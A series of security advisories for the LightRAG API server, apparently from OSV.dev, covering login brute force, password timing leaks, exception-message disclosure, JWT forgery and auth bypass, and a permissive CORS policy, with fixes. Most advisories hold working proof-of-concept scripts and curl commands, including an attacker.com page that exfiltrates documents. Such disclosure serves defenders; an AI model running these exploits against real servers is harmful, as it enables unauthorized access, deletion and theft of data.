Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


